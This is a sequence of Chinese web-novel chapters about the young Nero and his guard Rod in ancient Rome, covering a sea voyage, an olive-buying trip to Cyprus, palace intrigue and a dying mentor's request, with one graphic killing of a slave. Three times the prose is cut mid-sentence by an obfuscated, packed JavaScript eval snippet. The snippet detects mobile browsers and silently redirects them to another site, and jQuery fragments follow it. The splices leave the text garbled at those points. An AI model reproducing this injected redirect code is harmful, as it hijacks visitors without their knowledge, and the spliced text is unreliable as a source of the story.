罗德瞧他一眼,眉宇间流动一种令人臣服的硬气。他调笑道:“这个是用粗糙的大麦熬的,更没有什么蜂蜜奶酪!但您现在最需要这个!”
他深邃的脸部被光线照亮,黑单衣敞开到锁骨,露出一截脖颈。他黑发黑衣,和身后的幽暗交融一体,他整个人都揉在黑暗里,明亮的只有他的脸庞和手里的白碗。
而他的红唇是黑白视野里唯一的色彩。
尼禄盯向他的眼神逐渐呆滞。
“其实这个味道也不错……”罗德舀起一勺,以一种引诱的口气说:“粥里还有肉干粒。”
“肉干?”尼禄想到那个头领说过的话,怔忡一下,“不会是人肉吧……”
“就算是人肉,您也必须得吃!”罗德笑了笑,眼里亮亮的,那类似于狠厉的光泽了。
“因为您要活下去!”他不容置喙地说。
罗德将勺子凑到嘴边,赭红的双唇开合,试探性地尝了一小口;接着,他的黑眼珠动了动,一副思索而回味的神态,好象他是在品葡萄酒而不是尝粥;最后,他才放松了表情,将那口粥咽了下去,突出的喉结滚动一下。
尼禄紧盯他的喉结,象被他引导了一样,也不由自主地吞咽一下。
“粥没问题。”罗德舀出一勺粥,递到尼禄嘴边,些许狡黠蹿上他的眼角,“吃吗?”
尼禄鬼使神差似的,一口咬住了勺子。
罗德喂他吃完一勺,被他这纯真的孩子气给逗笑了。他罕见地放柔了语气,有些欣慰地说道:“真听话。”
11. 初次感到幸福
因为饥饿,尼禄一口气吃光三碗麦片粥。考虑到他的胃还很脆弱,罗德拒绝给他盛第四碗。
神采象浮藻一样闪烁在他眼里。尼禄平躺着,后脑悠闲地枕着胳膊。
阳光打照过来,只需一点点光线,就能将他清澈的眼瞳照透到底。他的眼底因此漫散着干净的金光。
他侧过脸,眉宇间有一点少年的俏皮,望向正在修理水槽的罗德。
罗德背对他,衣袖被撸至高处。他用铁钳撬掉水槽的长钉,刮掉表面的红锈再重新钉入。
他拍掉手上残寸的锈迹,笑道:“我可不想喝铁锈味的水。”
他黑得鲜烈的头发坠到肩后,被光线直射着,宛如漫射出七彩光泽的黑色织物。
尼禄望着他的黑发,语气轻柔地问:“你为什么对海浪和船只这么熟悉?”
罗德的眼神迟滞一下,一点厉光在他眉眼间飘忽过去。他若无其事地转过身,语气随性地说:“我曾经坐船经过这片海,而且还是不少次。”
“有多少次?”尼禄翻个身侧卧,一手撑着脸颊,尚未完全退却的婴儿肥被推挤出来。
他满脸好奇地说:“告诉我,罗德。”
罗德轻笑一声。他瞥一眼窗外的海景,指了指尼禄的粥碗,打趣道:“比麦片粥里的肉粒还多。”
尼禄有些疑惑:“可你一直都生活在荒郊野外的军营里……”
“但我需要作战!”罗德编了个理由。
他压低眉锋,眼神象岩石一样顽固。他没有表现出一丝慌乱,口气是无法反驳的强硬,“您知道,行军打仗总需要跋山涉水!”
尼禄安静地望着他,没有再追问了。他神色安详,银发象绵羊毛一样卷翘着,十分懂事的样子。
罗德又背过身去。他敲敲打打了许久,将漏水的水槽修好。
“对了。”他把头埋进长发里,语气散漫,仿佛只是漫不经心地说,“我忘了说,那艘商船……其实是奥托家族的。他们这次损失惨重,至少亏了十座大理石别墅!”
尼禄怔了一下,“真巧啊。”
罗德只是背对着他笑了笑,什么都没有说。
……
尼禄几乎睡了一整天。
等他再醒来时,已经是夜晚了。
船舱里有残旧的蜡烛燃着,烛光象金粒悬浮在黑暗中。
而罗德不在。
他揉了揉眼睛,鼻梁上浅浅的雀斑也被带动。他掀开羊毛毯,胳膊一撑便坐了起来。
甲板上传来轻微的水声,很清脆,象泉水一样叮咚跳进他的耳朵。
尼禄心中微惊。他拨开窗帘,往窗外看去。
罗德正在捕鱼。
他双脚赤|裸着,站在尖尖的船头,动作极为娴熟地捞上来一网鱼。鱼群很鲜活,象猴子一样在网兜里乱窜,他脚边尽是沥沥海水,撒得银白一片。
月亮象一颗白珍珠垂吊着,罗德就站在它正下方。他披着一身清辉,衣服乱糟糟的,头发也在肆意乱飞,整个人都是一种随性的、不受拘束的状态。而他的腰线细窄却优美,小腿泛着莹亮,野性而自由。
海潮声在不为人知的地方响动,海浪象白水晶一样洁白。
一条鱼挣脱出来,鱼尾拍打一下甲板,噌地飞跃到半空。罗德微微仰头,扬手一把抓住它,甩出一串钻石般的水珠。
这个纯净的画面定格在尼禄的眼底。
生命中总有这样美好的时刻,使人暂时从庸庸碌碌的现实里解脱出来,回归到一种纯粹的感性。
尼禄的意识向四面八方游离,好象野外渐飞渐远的萤火虫。
他产生一种纯真的、远离功利的欢喜,仿佛回到了童年无忧无虑的时候。那些施加于他的伤害,到此刻从未发生过,于是他整个人都象是被净化了。
尼禄趴在窗框上,青涩的一对眉眼倒映出两轮月亮。
他此刻太投入感性了,下意识就哼唱起小时候的童谣。
他年轻的歌声象波纹一样荡开来,没什么技巧,十分干净。
罗德听到歌声,稍微侧过身,把飞飘的黑发尽数捋到耳后,露出光洁的额头。
他慵懒地倚靠栅栏,衣摆被咸湿的海风吹得乱晃。他神色悠闲,干脆把不停挣扎的鱼抛回海里,脸上有真诚的笑意。
“好听!”他夸奖一句。
天生悲观的尼禄头一次感觉到幸福。
……
安东尼得知商船被劫时还在吃饭。他整个人就象八爪鱼一样狂躁起来。
他恼得跳了起来,将眼前餐桌猛地一推,银杯铜盘噼里啪啦全砸在地上。
“那帮猪养的杂碎!”他双眼瞪出来,气得大骂一声。
奴隶畏畏缩缩地站在一旁,屏着呼吸。
安东尼气红了眼,直接拽出一个矮小的奴隶,把他踹倒在地。他泄愤似的,用铜盘猛砸奴隶的头。
鲜血很快就密布在他脸上。他不曾停止,手上的动作越来越猛烈,不顾一切地虐|杀他的奴隶。
奴隶一开始惨叫几声,渐渐地就没有了呼吸。
安东尼喘着粗气,最后再机械性地击打几下已经血肉模糊的尸体。他呼了口气,将铜盘丢出去,甩出一路血迹。
杀了人,他感觉心情轻快不少。他用手背抹一把脸,满脸都是一道道扭曲的血印。
门希走过来,打了个手势,让受惊吓的奴隶退下。
“我亲爱的安东尼……”他面色慈悲地说,“你发起脾气来永远都象个讨要不到玩具的孩子!”
安东尼喘两口气,脚步打晃地走近些。
他咬牙切齿,恼怒得浑身发抖,“我的丝绸和商船都被海盗劫持了!该死的!”
“那些祸害人的狗东西并不罕见!”门希轻声地安慰,“谁都吃过他们的亏!我也曾经被海盗劫走一船绿松石和欧珀!”
“但那是丝绸!是比黄金还贵的丝绸!”安东尼前额上的青筋突起,象一只粗壮的蚯蚓,“他妈的!我就象失去了一船黄金!”
门希宽慰道:“钱就象头发,掉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239628|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了还会再长出新的来。”
“噢不,你不了解……”安东尼沮丧地说,“我本来想用这趟货赚一笔大钱,让我的资产达到一百万塞斯特斯……”
他狠狠地捶了一拳桌子:“我从骑士升到元老的梦想破灭了!不仅如此,我他妈还损失了比一座大理石别墅还贵的商船!”
“就算你是低等的骑士,可你还有能指挥兵马的军权!你怕什么?!”门希厉声说,“那可是卡里古拉正式赐予你的……”
安东尼眼光一暗,刚刚有点人情味的表情撕裂开,又现出凶恶的戾气。
兄弟间的龃龉,于此时被触发了。
“你能不能不用‘赐予’这个词?!”他嘶哑着嗓子说,“就算要用,也不要用那种吹捧的语气来说!”
“我说的难道不是事实?!”门希一瞬间就阴沉了脸。
他就象被“卡里古拉”这四个字薅住了灵魂,整个人都陷入一种异教式的情感里,连兄弟情分都忘掉了。
他面色涨红,阴险地咧开嘴,粗声粗气地说:“没有他给你这点军权,你这个鲁莽冒失的家伙狗屁都不是!”
安东尼吸了口凉气,眼珠在眼眶里乱颤,一脸的不可置信:“你居然这么说我!我可是你的亲弟弟啊!”
门希缓回了神,眼神躲躲闪闪。他抱有歉意地说:“我亲爱的弟弟,你并不了解他……他是个寡言孤独的人,他有很多优点你并不知道……”
他面带遐思,眼角挂有细微的癫笑,好象进入了一处幻境,“而我太了解他了!他的一切我都知道得一清二楚……”
安东尼捏着嗓子低笑两下,象金属摩擦的嘶鸣。渐渐地,他笑得愈发放肆起来,全身都在颤抖,象听到什么好玩的笑话。
“是吗?!”他逼近门希,嘴里发出咯咯的笑,好象装了一肚子坏水,“可是那个知晓‘卡里古拉谜语’的人,并不是你……”
门希象被冻住似的,面容痛苦,眼睛里光芒尽失。
“我的哥哥啊……”安东尼换上遗憾的面孔,感叹道,“你那颗聪明的心脏,已经被所谓的狗屁爱情给蒙蔽了!”
他揽住门希的肩膀,使他面朝一旁的镜子。
“你瞧瞧你……”他戏谑地说,揪了揪门希的脸颊,“你现在比那些得了疟疾的倒霉蛋还要不清醒!”
门希挣开他的手,五官象被挤压一样变了形。他鄙夷地抬起手,手指一下下点在安东尼的脑门,一字一顿地说:“你这个可悲的小虫!”
话落,他勾起一个毒辣的冷笑,转身就离开了。
安东尼死盯他的背影,直到他消失不见才罢休。
他侧过身对着镜子,往手心上吐了口口水,擦掉脸部干涸的血迹。
当手移到嘴唇时,他猛地凑近镜子,眼光象在打磨一样,慢慢扫过嘴唇上的每一条纹路。
他的嘴角愤怒地抽了抽,尖声骂道:“妈的!我的口红都被这该下|贱的家伙给弄脏了!”
他很不愉快,使劲踢了一脚奴隶的尸体。
12. 冤家和母子
罗德很熟悉这片海域。船在第三天就抵达了塞浦路斯。
此时正值正午。
尼禄扶着链锁晃悠悠地走下船。
连续十天的船上生活使他头脑发懵。脚底接触地面的那一刻,他有一种落叶归根的感觉。
塞浦路斯的海象一滩泼出去的蓝颜料,而天空象一块锋利的蓝玻璃直削下去,细长的白云宛如玻璃里的道道裂痕。
尼禄赤着脚,细嫩的脚背上铺几颗沙粒。有小螃蟹钻进沙里,残破的贝壳散落在脚边。
海的蓝影在他金色的眼底鼓动。
“真美啊……”尼禄感叹道。他的眼睫因为震撼而轻颤,海水濡湿了他的脚趾。
“我还以为您会对海痛恨至极!”罗德将船索系紧,他的黑衣上已有盐粒析出。
他挂上一个轻飘飘的笑,“因为您在这里受尽了磨难!”
尼禄愣了一下,“是吗……”他自言自语,声音小得象棉线一样软弱易断。
他细细回想起来,好象自己的确饱受饥寒。但一看到海,他的脑中就自动浮现出月亮、薄荷熏香的烟雾。
以及罗德抓鱼的那个瞬间。
这些都如此美好,以至于所遭受的惊险,他竟然一点也记不得了。
两人雇了马车,来到莫罗斯大街,找到了那名印度橄榄商。
橄榄商蓄着绞在一起的大胡子,头戴一顶花花绿绿的丝线帽。
他不太会说拉丁语,与罗马人沟通起来自然就十分困难。他象演戏似的,双眼夸张地瞪大,手舞足蹈地比划一通,嘴里嘟囔着令人费解的印度语。
在一名奴隶勉勉强强的翻译下,尼禄和罗德才大致明白了他的意思。
“橄榄是上乘的印度货,颗粒饱满。”奴隶说,“价格比本地的橄榄要便宜一半。”
“有现货吗?”尼禄问,展示一下指间的金印戒,“我可以现在就签订合同。”
橄榄商胡乱地摇着头,干瘪的嘴唇吐出含糊不清的语言。
“橄榄就在前天被全部收购了,一颗也没有剩下。”奴隶解释道,“一位比长得河马还胖的罗马贵族买走了它。”
尼禄沉默起来。一抹黑雾般的阴翳蒙住了他的眉宇。
不出意外,昆汀把这批价格低廉的优质橄榄全部买走了。
两人只好离开,在塞浦路斯四处辗转,打听其他可靠的橄榄商。
他们转了一下午,参观了很多橄榄园,但因为价格问题都没有谈妥。
天色已晚,满身油腻的小商贩推出餐车,街道响起油滋滋的声响。面包的麦香气象丝线一样钻进鼻孔,餐贩在烤鱼片上刷一层藏红花粉,煎蛋上浇有牡蛎制成的调味汁。
行人纷纷踯躅,街上愈发拥挤。
尼禄饥肠辘辘,立刻就被这些琳琅满目的小吃吸引了。
他买了一盘炸香蕉块,和两条洒满花椒粒的烤七鳃鳗。
“这条值一枚金币的七鳃鳗,还不如你烤的小海鱼好吃!”尼禄边吃边说。他神色嫌弃,声音里掺杂一些幼嫩的鼻音。
罗德咬一口鱼肉,漫不经心地说:“那是因为您当时太饿了!”
“我现在也很饿。”尼禄很认真地说,“但它就是不好吃。”
他姿势文雅地吃光这些食物,偷看了罗德一眼。
罗德半垂着眼,不紧不慢地嚼着鱼肉。落日在天边斜映,他的眉眼染上一层疲惫的暮色,按住剑柄的手也有沉重的趋势。
“就买刚才那个本地商的货吧,买完我们就走。”尼禄停顿一下,声色就象流云一样温和,“找个熟悉路的车夫,乘马车走。”
罗德斜过眼睛,将吃剩的鱼骨挥手一丢,不赞同道:“他给出的价格可是印度商的两倍还多!您会被不知情的元老诋毁的!”
他的声音有劳累导致的嘶哑。
“就他吧!不要再逛了。”尼禄态度坚定地说。
他面色严肃,纤密的睫毛卷翘起来,稚气的眼光此时熠熠闪亮,显有一种支配的意志。
“因为你累了,罗德。”他不容反驳地说。
……
乘坐马车的花销很大,但尼禄执意要走陆路。
所幸乘车要比乘船快很多。他们只用了三天就抵达罗马。
风尘仆仆的两人一进家宅,一个满脸焦急的奴隶就跑上来,跪倒在罗德面前。
罗德从他的口中得知,马尔斯因为病重而昏迷了整整三天,就在昨天才刚刚苏醒。
“主人让我来捎口信。”奴隶说,“他希望您现在就去探望他。他有件重要的事情要托付给您……”
罗德神色凝重,紧绷绷地站着,双眸于一瞬间就冰冻如寒霜。
他偏过脸朝向尼禄,打算向他请假:“我……”
“你去吧。”他仅仅只说了一个字,尼禄就很善解人意地允许了。
他转过脸,青色的榕树光影晕染了他的脸,让他立体的五官更显青春。
“我会保护好自己的。”他以一种软糯的语气说。
……
罗德走后,尼禄换上洁净的红袍,将采购来的橄榄带回皇宫,向克劳狄乌斯汇报了花销。
克劳狄乌斯看了看他的账单,搓了搓干瘪瘪的腮帮子。拥有着弯钩般脊背的他,好象一只在抚脸刮头的老鼠。
他的神色有隐隐的不满。
——尼禄此行所花的钱,是昆汀的四倍。
尼禄无视他难看的脸色,交完账单就退下了。
皇宫的花园里引种了埃及行省的仙人掌,这是颇受贵族们追捧的植物。
尼禄被那些长长的尖刺吸引。他蹲下|身子,用指尖去触碰仙人掌刺,感受指肚传来的些许疼痛。
他半眯着眼,淡金色的眼瞳半露着,象狮子的惺忪睡眼。
“啊!”一声尖细的叫喊象箭一样扎进他的耳朵。
尼禄惊动一下,一滴血珠从他稚嫩的指尖渗出。
他面无表情地揩掉血珠。一抬头,就撞见了麦瑟琳娜和昆汀。
尼禄端正一下姿势。原本冷漠的眉眼,被他故意调和得温和一些。
“你们好。”他微笑着说。
麦瑟琳娜捂着嘴,惊恐得象见到了鬼。她脸色发青,肩膀象痉挛一样抖动个不停。
而昆汀拽着她的衣袖,抖得象一只摇头晃脑的肥猪,脸颊上的肥肉不停乱动。
尼禄摆出一个柔和的神态,一步步走过去,眼睛如阴险的幽魂一样盯着他。
“很失望吧。”他挑高双眉,眼睑处尽是隐晦的暗色,使他有一丝阴毒的气质。
昆汀肥厚的双下巴抖动得厉害。他瞪了他好半天,支支吾吾地骂道:“……你这个不人不鬼的东西……”
他惊惶地打个哆嗦,象一堆肥油似的流走了。
尼禄轻轻地迈步,来到麦瑟琳娜跟前,以一种飘忽不定的气音,轻声问她:“我很象鬼吗?”
“你……你……”麦瑟琳娜结结巴巴的。她花容失色,额头已经冒出一排汗珠,红发上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239629|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的王冠可笑地滑到一边。
“真的很高兴见到您。”尼禄神情揶揄,主动向她伸出了手,“尽管您好象不太想见到我。”
麦瑟琳娜愣了很久,眼神开始躲躲闪闪,“怎么可能……你去了这么久的时间……我很担忧你……”
她慢慢缓过神,将满是汗水的手递过去,放在尼禄的掌上,等待他的吻手礼。
“谢谢您的担忧。”尼禄低着头说。他毛绒绒的额发之下,是一片阴鸷的黑影。
就在他的嘴唇刚刚接触她的手背时,麦瑟琳娜突然感到掌心有猛烈的刺痛。
她惊叫一声,手就象泥鳅一样抽了回去。她翻过手掌,发现掌心里赫然扎进一根仙人掌刺。
她的嘴唇象被诅咒了似的青紫。
麦瑟琳娜扶一下歪斜的发饰,落荒而逃,好象一只夹着尾巴的狐狸。
阿格里皮娜站在花园的暗处。她以她蛇眼般的双目目睹了这一切。
她咳嗽两下,象一只亡灵般飘飘忽忽地冒出来。
尼禄看见母亲,平和而温柔的表情开始崩裂。
阿格里皮娜慢悠悠地走过来,看似随意地捋顺衣袍,保持着威严的仪态。
她的眼白微微发红。这无疑泄露了她内心的急躁:“多么和谐而美好的画面啊!”
尼禄瞟她一眼,一言不发,抬脚就要离开。
阿格里皮娜狂躁起来,竖在前额的血管膨胀起来,眼睛红得更厉害了。她描画精致的眉毛剧烈地跳跃,一副快要被气哭的样子:“你还从来都没吻过我的手背!要知道,我才是你的母亲!”
“对。”尼禄停下脚步,扭过头来跟她说,“就因为你是我的母亲,而她不是!”
阿格里皮娜愣了短短一瞬间,很快又恢复一贯的冷漠面容。
她叉着双臂,嘴角扯出一个桀骜的、锯子般的笑。这让她看起来很强势:“这句话……我可不可以理解为,你还是有点在乎我这个母亲的?”
“随便你理解。”尼禄嗤之以鼻。
阿格里皮娜冷笑一声,姿态高傲地说:“我刚刚打听了,你的花销可是昆汀的四倍!”
尼禄沉着脸说:“你那双只看名利的眼睛,永远都看不见背后的真相。”
阿格里皮娜以讥笑来表达对儿子的担忧,“你等着吧……再过几天,就会流传你贪污的谣言……你将成为一个背负污名的倒霉鬼,帝位也将离你远去!”
“那就让它远去。”尼禄心不在焉地说。
阿格里皮娜有些气恼。她语气尖利,利得几乎能刺透所有人心:“我真是不幸,居然生下你这么一个拖了家族后腿的儿子!”
尼禄面色平淡,眼神有一刹那是脆弱无力的。他沉寂不语。
阿格里皮娜整肃一下表情说:“行了。现在让我们来谈谈正事!”
尼禄阴郁地看过去,“说。”
阿格里皮娜高高抬起下巴,象女王一样,傲慢地说:“再过几天,就是卡里古拉,也就是你舅舅的葬礼。他当时死得太仓促,连个葬礼都没有。我向克劳狄乌斯请求将他重新入葬……”
尼禄皱起眉说:“你要把他的尸体挖出来亮相吗?”
“可以这么说。”阿格里皮娜眼神明锐,象要捅出来的尖锥一样,“你要借着这个好机会,在全罗马人面前发表葬礼演讲,懂我的意思吗?”
尼禄斜了她一眼,纤瘦的脚踝一动,转身离开了。
他的红袍拂过仙人掌的尖刺,象一道扫过去的血光。
13. 微妙的心通
罗德赶到马尔斯家里时,首先就闻到了一股浓烈的药草味。
几个奴隶来回穿梭,为马尔斯擦手擦汗。他闭着眼躺靠在床,虚弱而短促地呼吸。他紧抿的双唇青紫,象两片枯掉的枫叶。
奴隶点燃药棒,熏染他的头发和手掌,深灰的烟雾象草一样生长起来,呛鼻子的藏红花味象闷油一样黏着在空气里。
罗德抬手挥开笼罩视野的烟雾,走到马尔斯的病床边。他坚韧的黑色身影象被埋没一样嵌进烟雾之中。
马尔斯艰难地抬眼,一个僵硬的笑容象线一样拉扯在他脸上。
“罗德……你来了……”他的声音是被炭火熏烤过的沙哑。
罗德的视线如灰铁般凝重。他脊梁绷直,扫过他潮红的脸颊,顿了一会说:“你看起来很不好,马尔斯。”
马尔斯剧烈地咳嗽几下,幅度之大好象要把肺给咳出来。他用他干枯得象旧蜡烛的手掌,拍了拍床边,“来……我的孩子……”
罗德坐上去,手依然紧迫地按紧剑柄。他的黑发顽固地翘着,腰背象铁板一样绷住。
“我主动辞掉了军职……”马尔斯自嘲地笑了笑,眼里有几分豁然,“我的心脏随时都会停止跳动,奥托将军不会允许一颗即将枯萎的病草掌管他的军队……”
“奥托将军?”罗德警戒起来,“他是叫安东尼吗?”
“那是他的弟弟……”马尔斯摇头,“他的名字叫门希。我在他手下效命了十年……”
罗德冰着脸,眼睛里有沉思的暗光。
一丝骄傲的神采在马尔斯的脸庞松开,锥裂他原本的痛苦,“没想到你已经成了多米提乌斯的亲卫。他是个很有希望的继位者……你有一个充满希望的仕途……”
罗德沉毅的面色纹丝不动,“我在乎的不是这个。”他说。
马尔斯笑了笑,“命运的走向从不参考人的意志!”
他想了一会,眼里跃起一丝笃定,“近卫军长官的职位多半由皇帝的亲卫担任。如果多米提乌斯将来即位,你自然就有了就和你的父亲一样的职务……”
不出意外地,罗德的眼角出现了愠怒的红色。一种自前世就深埋的纠结在内心爆发,他缩起眉头,紧握剑柄的手骨如抓钩一样隆起。
“他不值得‘父亲’这个称呼……”他口气危险地说,“你可以称呼他为泰勒斯。”
“很抱歉,我必须这么说!”马尔斯罕见地固执起来,一向平和的他变得就象龟壳一样冥顽,“我没有多少寿命再提醒你这个事实了……”
他话音未落,就捂住嘴气喘起来,呼呼的气喘声就象炉灶生火用的风箱。他就象一条快要干死的、开合着鱼鳃的鱼,指尖尽是不健康的绀紫色。
罗德闭了嘴,没有再出言不逊了。
奴隶走上前,手里端着一碗熬得黏乎乎的褐色药汁。他扶着马尔斯,一勺勺喂他喝完。
马尔斯咽下最后一口苦涩的药,连鼻息都带着一股浓稠的苦味。
“我已经时日不多……”他握住罗德的手,眼里有一丝迫切,“能答应我一件事吗……”
罗德毫不犹豫地点头。
马尔斯微笑起来,欣慰宛如涟漪般荡在他脸上。
“……还记得你父亲曾经留下的遗言吗?”他费力地说,“他要你拿到他的金剑,然后再毁了它……”
一种复杂的情绪涌来。罗德的呼吸停滞一下,面庞是被缠住似的压抑,象是被十字架上绑缠四肢的铁丝束缚到了。
“我的遗愿,就是实现你父亲的遗愿……”马尔斯紧张而期待地看向他,绿色的眼瞳蒙一层水雾,那是强烈的病痛带来的涣散。
罗德看着他的眼睛,点了头。
马尔斯松了口气,象绷紧的弓弦一样松懈下来。他躺回床上,方才的嘱托好象他的灵魂所驻,说完之后他也如飘萍一样浮游起来了。
“你应该知道,只有近卫军长官才能拿到那柄金剑……”马尔斯说,眼里别有一番深意。
罗德紧攥剑柄的手指抖动一下,但随即就如焊接一般牢固不动了。
马尔斯见他没什么反应,心存忧虑地补充道:“要拿到剑,就要辅佐多米提乌斯登上帝位……”
“我知道。”罗德语气沉重地说。他的五官即使在尚未退却的烟雾依旧是犀利的,“就算你不说,我也会这么做的!”
马尔斯病气浓重的脸上,此时冒有浅淡而无奈的笑容。
……
从马尔斯家回来时,已经到了傍晚。
罗马刚刚下过一场小雨,雨水象蜡油一样覆盖榕树的每一片叶子,再顺着叶脉滴下。
罗德一路淋雨走来。他的黑发被淋得潮湿,拧成湿嗒嗒的几绺贴在鬓角,黑衣也是半潮不干的。他随意地拨动一下发尾,甩出几滴雨珠,就象一只被雨浇湿的黑鹰。
他用衣袖擦一把下巴,威慑如锋刃的眼睛一个上扬,就瞥到了坐在天井边的尼禄。
尼禄一身红袍,在墨绿的树叶荫蔽之下,象一只生长其中的红罂粟。
罗德端正一下脚步,半垂着眼帘俯视他。他笔直而挺拔的脊梁,有桀骜不屈的意志。
“我回来了!”
“我在等你。”
“看出来了!”
尼禄轻笑一下,纤细的身影象一小点磷火游荡过来,走到罗德面前。
空气中有雨后青叶的清冽味,水汽浓重,雨滴声在未知之处如虫蟊般蠢动。
在这潮化的、气味清新的庭院里,有两瓣鲜烈的朱红,那是罗德润泽的双唇。
尼禄盯着他的嘴唇,眼神漫溯开来。
罗德将湿漉漉的鬓发挂到耳后,浓黑的眼瞳一斜,随口一问:“在发呆吗?”
这时一滴雨水顺着叶片滴落,恰好掉在尼禄的鼻尖,打出几小滴飞溅的水花。
尼禄激灵一下,鼻子本能性地缩了缩,连带着稚气的雀斑也晃动几下。这种反应,使他好象一只正在嗅闻食物的兔子。
罗德忍俊不禁。他不加顾忌地笑出声。
尼禄害羞。他细嫩的脸皮染了酡红,浓密的睫毛上尽是雨雾凝聚的水汽,他的鼻尖微微挺翘。
过分优柔软弱的外表,无疑让他有了一点病态的气味。
“我想出去买点东西。”他以一种请求的姿态说,“我要你陪我。”
罗德点头,湿亮亮的发绺贴住他深邃的下颚,“好。”他说。
……
此时落日已沉,街道两侧燃起明亮的火盆,小贩们纷纷打烊,围着头纱的主妇将浆洗的衣服收进屋。两人踩在湿润的石板路上,路过描画女神的马赛克壁画。此时街上已没什么人了,繁忙了一整天的罗马刚刚有安歇的兆头。
“您要买什么?”罗德扶着剑问。他的脚步象剑芒一样迈出,整个人都有一种严酷的气质。
“竖琴。”尼禄轻柔地说。火焰错乱的光与影在他眉眼间跃动,使他自带一些邪气。
两人走进一间贩卖乐器的店铺。
竖琴整齐地挂在墙上,大小不一,琴弦从三根到七根都有。这些弦乐器色彩艳丽,琴身有彩色贝壳点缀,散发着淡淡的松香味。
罗德从未摸过竖琴。他走到一架最简单的三弦琴前,沉静的眼光慢慢扫过,观察琴的构造。
尼禄象一片羽毛似的,脚步很轻地走到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239630|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他身后,问道:“你会弹里拉琴吗?”
“不会。”罗德试探性地拨动一下琴弦,“我这双手只会握剑和拉弓!”
尼禄扬手,皙白的指尖如流光般一抚,就是一段优美的和弦。
“我会弹最复杂的七弦琴。”他说,“我练了很久。”
罗德随便拨了几下弦,发出铮铮的琴声。他黑眼睛里的聚光仍是收敛着的,从两根琴弦间透过来,使他永远持有一种紧迫的气质。一缕湿亮亮的头发掉到前面,被他优雅地撩到耳后。
尼禄怔怔地望着他,突然就叫了他的名字,“罗德……”
“怎么了?”罗德警备地抬起头。
尼禄被他问得愣住了,反应了一会才开口:“把钱袋给我,我要买琴。”
于是两人一人拎着一把竖琴出了门。
尼禄买下一把七弦琴,以及罗德刚才玩闹似的拨动的那把三弦琴。
“这是我人生中第七十九把竖琴。”尼禄抱着琴,抚摸上面的海螺壳说。
罗德干脆把三弦琴架在肩上,一副放|荡不羁的浪子模样,“一把竖琴可是能使用很久!”
“我知道。”尼禄脸上存有一些阴云,“那些琴都是被人为毁掉的,我不得不买新的。”
罗德将视线扫过去,“谁毁的?”
尼禄轻笑了两声,拨弄琴弦的力度陡然加大,发出突兀而沉重的声响。
“除了我那个野心勃勃的母亲,还会有谁?”阴翳在他眉骨之下陡然加重,“木制的她就用火烧掉,黄金的就用火熔化,青铜的她就用锤子砸裂。总之,她在这方面可谓是创意无限。”
罗德的脚步有轻微的沉顿。他想了想说:“她想让您专心从政。”
尼禄驻足,轻巧地侧过身。火焰轻易就将他的眼瞳照透,显出一种天然的琥珀色。
而他的眼底如棕褐色的深井,那里无疑隐藏着什么怪物。
罗德沉默起来,姿势严峻地与他对视。
尼禄淡漠地说:“我还在希腊时,有一次生了痢疾。她就在我的病床边,当着我的面和一个贵族商量收|养孩子的事。”
他阴郁地垂下头,张大的眼角有一些凶狞,“既然她不爱我,那么我也有权恨她!”
罗德顿了很久。他盯着尼禄的眼神很凝重。
“可她最好别死。”他神色冷峻,隐隐有警戒的意思:“少了她,您就少了一个庇护您的人!”
尼禄沉闷的表情骤然松缓。他有隐约的顿悟。
一道阴沉的云翳横在月亮中央,象一根狰狞的鸦羽,在以极快的速度掠过天幕。
尼禄的眸光十分黯淡,刻意压低的细眉有低落的意味。他的银发和苍白的脸色,此时有一层灰蒙,代表一种不祥而悲伤的气息。
“我的姓氏和血统,赋予了我太多。”他的声音软得象一个影子,有不可名状的哀伤。
“我天生就要学辩术和修辞,将来还要去军队学习骑射,再将来还要进入元老院、被记录公文的莎草纸埋没。我一生所遇之事,我全部都做不了主,正如我无法选择父母一样……”
他说得很投入。他的银发在月光下显得剔透,象蓬松的羊毛。
罗德伸出手,摸了摸他毛茸茸的脑袋。
尼禄抖了一下。他眼睛清澈,那未退却的迷茫和稚气,在他走神的这一瞬间显露出来。
罗德冲他一笑,抬手一指,指尖好象蓄势待发的箭头一样直指夜幕。
“我明白,”他直言不讳,“您就和那朵阴云一样,其实是被风逼着动的!”
尼禄惊愣住了。
这一瞬间他与罗德有微妙的心通。
14. 卡里古拉谜语
塞浦路斯一行,尼禄表现得比昆汀逊色不少。
他耗时更长,采购的橄榄量少,花销却很大。关于他贪污钱款的谣言便在贵族间流传。
而昆汀买来的橄榄,已经被几位橄榄油商取走准备榨油。罗马的橄榄油供不应求。
房间里,罗德正在打磨剑刃。
他戴着黑色的皮革手套,露出半截洁白的手指。他的指甲象冰魄一般凝固在指尖。
